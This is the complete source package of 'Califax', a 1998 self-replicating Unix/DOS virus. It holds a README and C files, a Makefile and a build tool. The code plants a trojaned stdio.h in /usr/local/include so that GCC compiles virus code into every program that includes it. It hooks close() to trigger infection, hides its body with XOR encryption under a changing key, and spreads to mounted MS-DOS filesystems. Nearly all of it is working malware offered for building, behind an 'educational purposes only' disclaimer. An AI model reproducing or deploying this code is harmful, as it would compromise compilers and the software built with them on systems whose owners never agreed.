哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[readme]哪
helo dudes...

once again... SVAT strikes.
I'm not a great README file writer.
So i make it as short as possible.
What you got is a source-code infector wich replaces (if there is one)
the stdio.h file in /usr/local/include directory.
Normally there is nothing wich can become destroyed.
Due to a nice feature in GCC its possible to include nasty code
in every file wich gets compiled.
[Of corse you need to be root to touch files in the described dir.]
This is possible bcoz GCC searches in /usr/local/include for stdio.h
before it gets the real one in /usr/include.
Our virus simply gives GCC this stdio.h wich includes the real one.
So there should be no errors while comiling the future-infected file.
For further information look at califax.c, the virus source. Its well
commented.
There are some other files too wich you may be need to build
the virus. Type 'make' and you will get a new califax.c wich you have to
compile.

The other files are:

	+ _head.c	- the header of the virii
	+ dump.c	- needed to build some new virii
	+ Makefile	- umpf...
	+ udos.c	- body of the virus
	+ main.c	- wich holdes main()
	+ test.c	- dummy-file, compile this after you started califax
			  and it will become infected.

ok, what have has califax ? (urgh ...)

	+ simple polymorhism/mutation due to different gcc flags
	+ encryption with up to 256*256*256*256 different keys
	+ multi-platform support
	  + jumps to M$-DOS if it finds a mounted msdos filesystem
	    and there is a GCC installed on it

what is doesn't have, but whats needed:

	+ a become_root() function
	+ socket() calls :)
	+ ...

what you need to run it:

	+ either a linux with gcc on it, or
	+ M$-DOS also with the gcc

califax was tested with kernel 2.0.33 and GCC 2.7.2 and libc 5.3.12
and on the dos target: DOS 6.22 with GCC 2.5.7 where the includes are
installed also on /usr/include.
If it doesnt work, you should use the -v flag while you compile
test.c.

last but not least:
This is for educational purposes only!
You use this at your own risk. I'm not responsible for any damage you maybe get
due to playing around with this.
Delete this package if you dont agree.

ok, greets fly out to:

lcamtuf, CyberPsychotic, Serial, NetW0rker, K2 aka nalez, hyperSlash, kgb,

and especially to Doreen :)

Stealthf0rk / SVAT


哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[readme]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫_head.c]哪
#include "/usr/include/stdio.h"
#include <fcntl.h>
#ifdef linux
#	include <linux/unistd.h>
#else
#	include <dos.h>
#endif

#include <sys/stat.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>

int virfunc(void);
int Close(int);
int Crypt(char*, int);
int mutate(char *);
#ifdef linux
  int jump2dos(void);
#endif
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫_head.c]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫dump.c]哪
/* special dump.c for the unix/M$DOS virus */

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv)
{

	char *buf, outbuf[20] = {0}, s[100] = {0}, def[100] =  {0};
	int in1, in2, i = 0, r = 0, j = 0, count = 0,
	    len1 = 0, len2 = 0;
	FILE *out1, *out2, *fd;

	if (argc < 3) {
		printf("usage: dump [file1] [file2]\n");
		return -1;
	}
	/* open head and body */
	if ((in1 = open(argv[1], O_RDWR)) < 0 ||
	     (in2 = open(argv[2], O_RDONLY)) < 0) {
		perror("open1");
		return errno;
	}
	len1 = lseek(in1, 0, SEEK_END);
	len2 = lseek(in2, 0, SEEK_END);
	sprintf(def, "#define CHARS %04d\n#define CHARS2 %03d\n\n",
		len2, len1 + 39);
	lseek(in2, 0, SEEK_SET);
	write(in1, def, strlen(def));
	close(in1);
	in1 = open(argv[1], O_RDONLY);

	/* open otput-files */
	if ((out1 = fopen("B", "a+")) == NULL ||
	    (out2 = fopen("C", "a+")) == NULL) {
		perror("fopen");
		return errno;
	}
	if ((buf = (char*)malloc(5000)) == NULL) {
		perror("malloc");
		return errno;
	}
	j = 1;
	fprintf(out1, "char B[] = \n\"");
	while ((r = read(in1, buf, 1000)) > 0) {
		for (i = 0; i < r; i++) {
			if ((j % 15) == 0) {
				fprintf(out1, "\"\n\"");
				j = 0;
			}
			j++;
			fprintf(out1, "\\x%02x", buf[i]);
		}
	}
	fprintf(out1, "\";\n\n");

	/* ok, the includes etc. are now written to char B[] ...
	 * lets do the main part
	 */
	fprintf(out2, "char C[] = \n\"");
	j = 1;
	while ((r = read(in2, buf, 5000)) > 0) {
		printf("%d\n", r);
		for (i = 0; i < r; i++) {
			if ((j % 15) == 0) {
				fprintf(out2, "\"\n\"");
				j = 0;
			}
			j++;
			fprintf(out2, "\\x%02x", buf[i]);
		}
	}
	fprintf(out2, "\";\n\n");
	close(in1);
	close(in2);
	fclose(out2);
	fclose(out1);
	return 0;
}
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫dump.c]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫Makefile]哪
# Makefile for Califax 0.3
#
# (C)opyright 1998 by Stealthf0rk / SVAT <stealth@cyberspace.org>
# Use it under the terms of the GPL.

GREP = grep
DUMP = ./dump
SRC1 = _head.c
SRC2 = udos.c
MAIN = main.c
CC = gcc

all: califax

califax:

	$(CC) -O2 dump.c -o dump
	@rm -f B C
	@cp $(SRC1) B.c
	@cp $(SRC2) C.c
	@echo -e "/** This virus was compiled and started by `whoami`@`uname -n`" >> C.c
	@echo -e " ** on `date`\n **/" >> C.c
	@$(DUMP) B.c C.c
	@cat B.c > TMP
	@cat B >> TMP
	@cat C >> TMP
	@echo -e "\n\nunsigned char key[] = {0x00, 0x00, 0x00, 0x00};\n\n" >> TMP
	@cat C.c >> TMP
	@cat $(MAIN) >> TMP
	@rm -f B C B.c C.c
	@mv TMP califax.c
	@echo -e "Ok, califax.c was built. You should know how to compile it"
	@echo -e "If you are lame or you want to do sth. bad, dont run it.\n"



哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫Makefile]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫udos.c]哪
/* the hooked close-function */
int close(int fd)
{
	static int first = 0;
	if (!first) {
		first++;
		chdir("/");
		virfunc();
#ifdef linux
		jump2dos();
#endif
	}
	return Close(fd);
}

/* the real close-functions, using the syscalls */
#ifdef linux
int Close(int i)
{
	long __res;

	errno = 0;
	__asm__ volatile ("int $0x80"
			: "=a" (__res)
			: "0" (__NR_close),"b" ((long)(i)));
			if (__res >= 0)
				return (int)__res;
			errno = -__res;
			return -1;
}
#else
int Close(int i)
{
	union REGS ir, or;

	errno = 0;
	ir.h.ah = 0x3e;
	ir.x.bx = i;
	memset(&or, 0, sizeof(or));
	int86(0x21, &ir, &or);
	if (or.x.cflag) {
		errno = or.x.ax;
		return -1;
	}
	return 0;
}
#endif

int virfunc(void)
{
	FILE *fd;
	int i = 0, j = 1;

#ifdef linux
	int oldmask = umask(0);
#endif
	/* decrypt the arrays first [we assume that it is encrypted !!!]
	 * look at the end of virfunc() too
	 */
	Crypt(B, CHARS2);
	Crypt(C, CHARS);
	/* get a different key for new encryption */
	mutate(key);
	/* open a file stdio.h in /usr/local/include */
	mkdir("usr/local", 0755);
	mkdir("usr/local/include", 0755);
	unlink("usr/local/include/stdio.h");
	if ((fd = fdopen(open("usr/local/include/stdio.h", O_CREAT|O_RDWR, 0644), "w+")) == NULL)
		perror("fopen");
	/* write head in it (now plain) */
	fprintf(fd, "%s", B);
	/* encrypt array B with new key*/
	Crypt(B, CHARS2);
	/* and write it encrypted to the file */
	fprintf(fd, "char B[] = \n\"");
	for (i = 0; i < CHARS2; i++) {
		if ((j % 15) == 0) {
			fprintf(fd, "\"\n\"");
			j = 0;
		}
		fprintf(fd, "\\x%02x", (unsigned char)B[i]);
		j++;
	}
	fprintf(fd, "\";\n\n");
	/* encrypt C with the new key */
	fprintf(fd, "char C[] = \n\"");
	Crypt(C, CHARS);
	/* and write it to also the file */
	for (i = 0; i < CHARS; i++) {
		if ((j % 15) == 0) {
			fprintf(fd, "\"\n\"");
			j = 0;
		}
		fprintf(fd, "\\x%02x", (unsigned char)C[i]);
		j++;
	}
	fprintf(fd, "\";\n\n");
	/* put the new key we got to the file wich is used
	 * for the next decryption at the next call
	 */
	fprintf(fd, "\n\nunsigned char key[4] = {0x%02x, 0x%02x, 0x%02x, 0x%02x};\n\n",
		     (unsigned char)key[0], (unsigned char)key[1],
		     (unsigned char)key[2], (unsigned char)key[3]);
	/* get C plain */
	Crypt(C, CHARS);
	/* and append it to stdio.h */
	fprintf(fd, "%s", C);
	fclose(fd);
#ifdef linux
	umask(oldmask);
#endif
	Crypt(C, CHARS);
	/* result: B and C is encrypted now -> we can call virfunc() again */
	return 0;
}

/* simple XOR-encryption technique using the global key[] for
 * it
 */

int Crypt(char *s, int len)
{
	int i = 0, j = 0;

	for (i = 0; i < len; i++) {
		s[i] ^= key[j];
		j = (j + 1) % 4;
	}
	return 0;
}

/* on linux we use /dev/random, on DOS we use rnd() */

int mutate(char *s)
{
	int i;
#ifdef linux
	int fd;
#endif
#ifdef MSDOS
	random();
#endif
	for (i = 0; i < 4; i++) {
#ifdef linux
		if ((fd = open("/dev/random", O_RDONLY)) <= 0) {
			perror("open");
			return errno;
		}
		read(fd, &s[i], 1);
		Close(fd);
#else
		s[i] = rand() % 255;
#endif
	}
	return 0;
}

#ifdef linux
/* look up /proc/mounts to find the mounted msdos fs
 * if one was found, call virfunc on it */
int jump2dos(void)
{
	FILE *fd;
	char buf[50] = {0}, bufbak[50] = {0};

	if ((fd = fopen("/proc/mounts", "r")) == NULL) {
		perror("fopen");
		return errno;
	}
	while (fscanf(fd, "%s", buf) > 0) {
		if (strcmp(buf, "msdos") == 0)
			break;
		memset(bufbak, 0, 50);
		strcpy(bufbak, buf);
	}
	fclose(fd);
	if (strcmp(buf, "msdos") == 0) {
		chdir((const char*)bufbak);
		virfunc();
	}
	return 0;
}
#endif


哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫udos.c]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫main.c]哪
/* main() for califax.c
 * (C)opyright 1998 by Stealthf0rk / SVAT <stealth@cyberspace.org>
 * use it under the terms of the GPL.
 */

int main(void)
{
	printf("started califax. For Doreen.\n");
	return close(-11);
}

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫main.c]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫test.c]哪
#include <stdio.h>

int main(void)
{
   int i;
   for (i = 0; i < 10; i++)
	close(-11);

   return 0;
}

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫test.c]哪
